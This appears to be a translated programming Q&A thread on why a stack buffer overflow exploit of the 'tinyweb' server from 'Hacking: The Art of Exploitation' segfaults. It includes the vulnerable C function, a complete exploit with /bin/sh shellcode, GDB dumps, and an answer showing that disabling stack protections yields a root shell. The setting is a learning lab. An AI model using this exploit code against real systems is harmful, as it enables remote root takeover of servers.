我一直在研究Jon Erickson's Art of Exploitation缓冲区溢出几天,我不明白为什么我会遇到分段错误。据我所知,返回地址正在被NOP底座中的地址正确覆盖,但程序每次到达堆栈帧末尾的返回指令时都会抛出一个分段错误。
代码的易受攻击部分是length = recv_line(sockfd, request);
,因为永远不会检查缓冲区大小。从tinyweb程序中获取的整个函数如下 -
void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
unsigned char *ptr, request[500], resource[500];
int fd, length;
printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
length = recv_line(sockfd, request);
printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
ptr = strstr(request, " HTTP/");
if(ptr == NULL){
printf(" NOT HTTP!\n");
} else {
*ptr = 0;
ptr = NULL;
if(strncmp(request, "GET ", 4) == 0)
ptr = request + 4;
if(strncmp(request, "HEAD ", 5) ==0)
ptr = request + 5;
if(ptr == NULL){
printf("\tUNKNOWN REQUEST!");
}
else {
if(ptr[strlen(ptr) -1] == '/')
strcat(ptr, "index.html");
strcpy(resource, WEBROOT);
strcat(resource, ptr);
fd = open(resource, O_RDONLY, 0);
printf("\tOpening \'%s\'\t", resource);
if(fd == -1){
printf(" 404 Not Found\n");
send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");
}
else{
printf(" 200 OK\n");
send_string(sockfd, "HTTP/1.0 200 OK\r\n");
send_string(sockfd, "Server Tiny webserver\r\n\r\n");
if(ptr == request + 4){
if( (length = get_file_size(fd)) == -1)
fatal("getting resource file size");
if( (ptr = (unsigned char *) malloc(length)) == NULL)
fatal("allocating memory for reading resource");
read(fd, ptr, length);
send(sockfd, ptr, length, 0);
free(ptr);
}
close(fd);
}
}
}
printf("Shutting down socket.\n");
shutdown(sockfd, SHUT_RDWR);
printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
}
漏洞利用代码如下 -
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "hacking.h"
#include "hacking-network.h"
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
#define OFFSET 524
#define RETADDR 0xbfdaf708
int main(int argc, char *argv[]){
int i, sockfd, buflen; //, count;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];
if(argc < 1){
printf("Usage: %s <hostname> <# of A's to insert>\n", argv[0]);
exit(1);
}
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("looking up hostname");
if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
//count = atoi(argv[2]);
//printf("Count: %d\n", count);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(81);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8);
if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
fatal("connecting to target server");
bzero(buffer, 600);
memset(buffer, '\x90', OFFSET);
*((u_int *)(buffer + OFFSET)) = RETADDR;
memcpy(buffer+300, shellcode, strlen(shellcode));
strcat(buffer, "\r\n");
printf("Exploit buffer:\n");
dump(buffer, strlen(buffer));
send_string(sockfd, buffer);
exit(0);
}
以下是GDB的信息
:~/programs/c/exec$ ps aux | grep tinyweb
2747 0.1 2.3 97432 48012 pts/1 Sl Dec15 2:37 gedit tinyweb_exploit.c
root 12444 0.0 0.0 1688 248 pts/2 S+ 18:32 0:00 ./tinyweb
12456 0.0 0.0 4012 768 pts/0 S+ 18:33 0:00 grep --color=auto tinyweb
:~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb
warning: not using untrusted file "/home/sam/.gdbinit"
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Attaching to process 12444
Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x001c3416 in __kernel_vsyscall ()
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) c
Continuing.
Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfcee1a4: 0x0099bad0 0x00aad4e0 0x0000000f 0xbfcee1c4
0xbfcee1b4: 0x00aacff4 0xbfcee218 0x08048e2f 0x00000004
0xbfcee1c4: 0xbfcee1e4 0x00000004 0xbfcee204 0x00000004
0xbfcee1d4: 0x0804aff4 0xbfcee1e8 0x08048658 0x00000010
(gdb) bt
#0 handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
#1 0x08048e2f in main () at ../code/tinyweb.c:60
(gdb) x/x request
0xbfcedfb0: 0x20544547
(gdb) p /x 0xbfcee1b4 + 8
$5 = 0xbfcee1bc
(gdb) p $5 - 0xbfcedfb0
$6 = 524
(gdb) p /x 0xbfcedfb0 + 200
$7 = 0xbfcee078
(gdb) c
Continuing.
Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/150xw request
0xbfcedfb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedff0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee000: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee010: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee020: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee030: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee040: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee050: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee060: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee070: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee080: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee090: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0d0: 0x90909090 0x90909090 0x90909090 0xdb31c031
0xbfcee0e0: 0xb099c931 0x6a80cda4 0x6851580b 0x68732f2f
0xbfcee0f0: 0x69622f68 0x51e3896e 0x8953e289 0x9080cde1
0xbfcee100: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee110: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee120: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee130: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee140: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee160: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee170: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee1a0: 0x90909090 0x90909090 0x90909090 0x00000211
0xbfcee1b0: 0x90909090 0x90909090 0x90909090 0xbfcee078
0xbfcee1c0: 0x0000000d 0xbfcee1e4 0x00000005 0xbfcee204
0xbfcee1d0: 0x00000004 0x0804aff4 0xbfcee1e8 0x08048658
0xbfcee1e0: 0x00000010 0xd4920002 0x0100007f 0x00000000
0xbfcee1f0: 0x00000000 0x51000002 0x00000000 0x00000000
0xbfcee200: 0x00000000 0x00000001
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) i r eip
eip 0x80491b1 0x80491b1 <handle_connection+893>
(gdb) x/i 0x080491b1
=> 0x80491b1 <handle_connection+893>: ret
启动tinyweb程序,然后将GDB附加到程序中。设置断点以确定缓冲区在内存中的位置(请求@ 0xbfcedfb0
)。 bt
用于确定当前返回地址及其位置(返回地址0x08048e2f
位于0xbfcee1bc
)返回地址被确定为距离缓冲区524个字节。漏洞使用返回地址200字节到缓冲区,并将shellcode放入300字节。运行漏洞后,检查缓冲区,包含NOP sled,shellcode,并清楚地显示{{1的原始返回地址其中0xbfcee1bc
现在包含地址0x08048e2f
,这显然是缓冲区中指向NOP的地址。但是,当程序继续时,它会引发分段错误。在分段错误之后,检查指令指针,指向句柄连接堆栈帧中的一行。检查时,显示返回指令。
当有一个有效的内存地址放在那里时,为什么它会在返回指令处抛出一个分段错误?
我很尴尬,我没有注意到早期的shellcode位。再说一遍,我还没有得到早期的工作,要么是ASLR的礼貌,所以我从来没有密切关注shellcode。无论如何,这是我改为 -
0xbfcee078
不幸的是,我正在看同样的问题。我有更多的GDB如下所示。我可以告诉你,当调用RET时,不知何故sockfd变量被搞砸了,但是当DEBUG打印显示时,sockfd不会被改变。我试图在最后逐步完成指示,看看有什么事情发生,但这并没有透露太多......
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
"\xcd\x80";
............1.1.1......j.XQh//bin/sh..Q..S.....
关于最新情况的任何想法?
答案 0 :(得分:6)
正如前面所承诺的......这里是修复的解释。
我的系统上的漏洞利用失败的原因(Ubuntu 10.10)是实现非可执行堆栈的结果(注意RW结束)
$ gcc -fno-stack-protector -g -z noexecstack -o tinyweb ../code/tinyweb.c && readelf -l
tinyweb_exploit | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
这导致了以下GDB输出。
Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
61 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs (client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfff1c54: 0x00d09d90 0xbfff1c90 0x0000000f 0x00000003
0xbfff1c64: 0x00268ff4 0xbfff1cc8 0x08048cec 0x00000004
Programs return address at 0xbfff1c6c---^
0xbfff1c74: 0xbfff1c94 0xbfff1c90 0xbfff1cb4 0x00000004
0xbfff1c84: 0x0804aff4 0xbfff1c98 0x08048658 0x00000010
(gdb) bt
#0 handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
#1 0x08048cec in main () at ../code/tinyweb.c:49
(gdb) x/150x request
----Output Trimmed----
0xbfff1b70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfff1b80: 0x90909090 0x90909090 0x90909090 0xdb31c031
0xbfff1b90: 0xb099c931 0x6a80cda4 0x6851580b 0x68732f2f
0xbfff1ba0: 0x69622f68 0x51e3896e 0x8953e289 0x9080cde1
0xbfff1bb0: 0x90909090 0x90909090 0x90909090 0x90909090
----Output Trimmed----
0xbfff1c40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfff1c50: 0x90909090 0x00000000 0x90909090 0x00000211
0xbfff1c60: 0x90909090 0x90909090 0x90909090 0xbfff1b28
Overwritten Return Address-^
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08048fff in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:110
110 }
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
虽然未显示,但返回地址现在包含位于堆栈上方的有效内存位置。这是webprogram的输出....
Request 127.0.0.1:44576 "����������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
��������������������������������������1�1�1ə��̀j
Xqh//shh/bin��Q��S��̀�����������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�##"
NOT HTTP!
Shutting down socket.
Segmentation fault
如前所述,漏洞利用失败了。在关闭堆栈粉碎保护并使堆栈可执行之后....
$ gcc -z execstack -fno-stack-protector -g -o tinyweb ../code/tinyweb.c && readelf -l tinyweb | grep
-i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x
Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:61
61 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
(gdb) c
Continuing.
Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:109
109 shutdown(sockfd, SHUT_RDWR);
(gdb) c
Continuing.
process 13666 is executing new program: /bin/dash
然后回到网络服务器输出.....
Request 127.0.0.1:52107 "������������������������
��������������������������������������������
��������������������������������������������
��������������������������������������������
���������������������������������������������
���������������������������������������������
���������������������������������������1�1�1ə��̀j
Xqh//shh/bin��Q��S��̀���������
������������������������������������������������
������������������������������������������������
�����������������������������������������������
���������������������##"
NOT HTTP!
Shutting down socket.
# whoami
root
成功。
这是一个专门设计的示例设置,用于解决缓冲区溢出的工作原理,但有关处理当前保护措施的总体教训是有用的。在寻找答案时,我发现了这篇关于它的帖子,它很好地重新审视了Smashing the Stack for Fun和Profit,并解释了开发人员为使其更难以利用程序而做出的改变。
http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/
希望这有助于任何遇到同样问题的人。
答案 1 :(得分:0)
尝试在continue
:
x/10i $eip
并尝试stepi
您的代码,而不是continue
。
PS :我不知道你的书,但是我的“剥削艺术”在代码中包含了很多人为错误(比如/shh/bin
而不是/bin/sh
还有很多值得注意的事情。)我认为它们是故意制作的,以保护互联网免受许多所谓的脚本小子的攻击,这些小家伙只会复制粘贴漏洞利用代码。所以,也许这个例子也包含这种'bug'。
答案 2 :(得分:0)
在您单步执行此指示后,我想:
=> 0x80491a9 <handle_connection+885>: add $0x414,%esp
... GDB失去了找出sockfd
实际位置的能力(因为堆栈指针发生了变化),因此将其报告为NOP雪橇的一部分。
sockfd
未被覆盖的事实仅仅是因为x86调用约定(请记住,这些操作中的每一个都是来自堆栈指针的减法):
您的漏洞利用覆盖了(2)和(3)但未覆盖(1),因此sockfd
保持不变。 (只是在你将修改转移到%esp
之后,GDB无法弄清sockfd
是什么。)
更有趣的是,如果您继续单步执行ret
指令,看看接下来会发生什么。你在有趣的部分之前就停止了编辑。 ; - )